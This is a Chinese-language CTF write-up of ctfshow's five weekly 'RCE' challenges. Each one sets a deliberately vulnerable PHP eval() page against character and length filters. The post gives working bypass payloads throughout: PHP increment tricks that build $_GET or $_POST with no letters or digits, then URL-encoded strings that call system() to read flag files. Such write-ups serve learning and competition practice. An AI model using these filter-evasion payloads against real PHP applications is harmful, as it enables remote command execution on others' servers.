March 2, 2023

每周大挑战-RCE

启语

是Ctfshow官网主办的一个活动,看起来题目就觉得很新,所以就来尝试尝试了,(还有奖金),之后都会参加的,再接再厉吧!

RCE挑战1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

dinner都会,payload:
code=echo cat /f*;
image.png

RCE挑战2

真没想到这种题我一开始居然放弃了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

一个简简单单,有手就行的自增,分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__=''; //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E 把两个短杠赋值为E
$_=++$_; //F 一个短杠继续自增
$_=++$_; //G
$__=$_.$__; // GE 一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
$__='_'.$__; //_GET
$$__['_']($$__['__']); // 进行拼接,$_GET['_']($_GET['__']);

image.png
记得URL编码哦

RCE挑战3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

与上一题相比多了长度限制,然后看看可用字符有什么不同呢?

1
2
#$ ( ) + , . / 0 1 ; = [ ] _
#! $ ' ( ) + , . / ; = [ ] _

这一轮单引号没了,与之对应的有了0和1,有了这两个我就可以构造字符串”INF”无穷大,得到3个可用字符,接下来就是构造payload了
image.png
最后的payload是:
0=system&1=cat+%2Ff*&ctf_show=%24_%3D%28%281%2F0%29._%29%5B1%5D%3B%24_%3D%2B%2B%24_%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__.%3D%2B%2B%24_%3B%24__.%3D%2B%2B%24_%3B%24__%3D_.%24__%3B%24%24__%5B0%5D%28%24%24__%5B1%5D%29%3B
image.png

RCE挑战4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

源码变了一丢丢,和上一题相比少了个1
照样还是可以得到N的:

1
2
3
4
5
6
7
8
9
10
11
12
$_=(_/_._)[0]; #N
$a=++$_;
$a=++$_.$a; //PO
$_++; //Q
$_++; //R
$a.=++$_; //POS
$a.=++$_; POST
$a=_.$a; //_POST
$$a[0]($$a[_]);
$_=(_/_._)[0];$a=++$_;$a=++$_.$a;$_++;$_++;$a.=++$_;$a.=++$_;$a=_.$a;$$a[0]($$a[_]);

ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B%24%ff%3D%2B%2B%24_%3B%24%ff%3D%2B%2B%24_.%24%ff%3B%24_%2B%2B%3B%24_%2B%2B%3B%24%ff.%3D%2B%2B%24_%3B%24%ff.%3D%2B%2B%24_%3B%24%ff%3D_.%24%ff%3B%24%24%ff%5B0%5D(%24%24%ff%5B_%5D)%3B&0=system&_=cat /f*

代码里的a只是为了图个方便,我们最后把他换为不可见字符(这个思路感觉不戳啊!)
最后也能rce的:
image.png
并且长度就是极限84

RCE挑战5

最终挑战了属于是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

这次更加过分,限制73,然后可用字符比上一把少个0,也就是
$ ( ) + , . / ; = [ ] _
我们该咋去RCE呢,我极限是74,看了wp之后我真的是操蛋了,我的:

1
2
3
4
5
6
7
$_=(_/_._)[_]; #N
$a=++$_; //0
$a=_.++$_.$a; //_PO
$_++; //Q
$_++; //R
$a.=++$_.++$_; //_POST
$$a[b]($$a[c]);

WP的:

1
2
3
4
5
6
7
$_=_(_/_)[_]; #N
$a=++$_; //0
$a=_.++$_.$a; //_PO
$_++; //Q
$_++; //R
$a.=++$_.++$_; //_POST
$$a[b]($$a[c]);

奶奶的,这里我猜到了,但是我不知道怎么用php的拓展gettext
_(_/_)[_];也就是gettext(_/_)[0]也就得到了N
就差这一个字符,可恶啊啊啊啊
ctf_show=%24_%3D_(_%2F_)%5B_%5D%3B%24%ff%3D%2B%2B%24_%3B%24%ff%3D_.%2B%2B%24_.%24%ff%3B%24_%2B%2B%3B%24_%2B%2B%3B%24%ff.%3D%2B%2B%24_.%2B%2B%24_%3B%24%24%ff%5B_%5D(%24%24%ff%5B%fd%5D)%3B&_=system&%fd=cat /f*
最后把a,b,c换为不可见字符就好了
image.png

群友的逆天非预期

1
2
3
$_=_(_/_)[_]; //N
$_++;
$_=_.($_.$_++).$_[++$_.++$_.++$_].++$_;//POST

image.png
这里的精髓就是$_[++$_.++$_.++$_]
image.png
这边数组内用自增,他的本体也会变成自增后的结果,太逆天了大神

总结

这周的大挑战就到此为止了,一分钱没瓜分到,难受,因为在做别的
总的来说感觉RCE的套路是骚的不能再骚了,自增的魅力无穷

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#CTFSHOW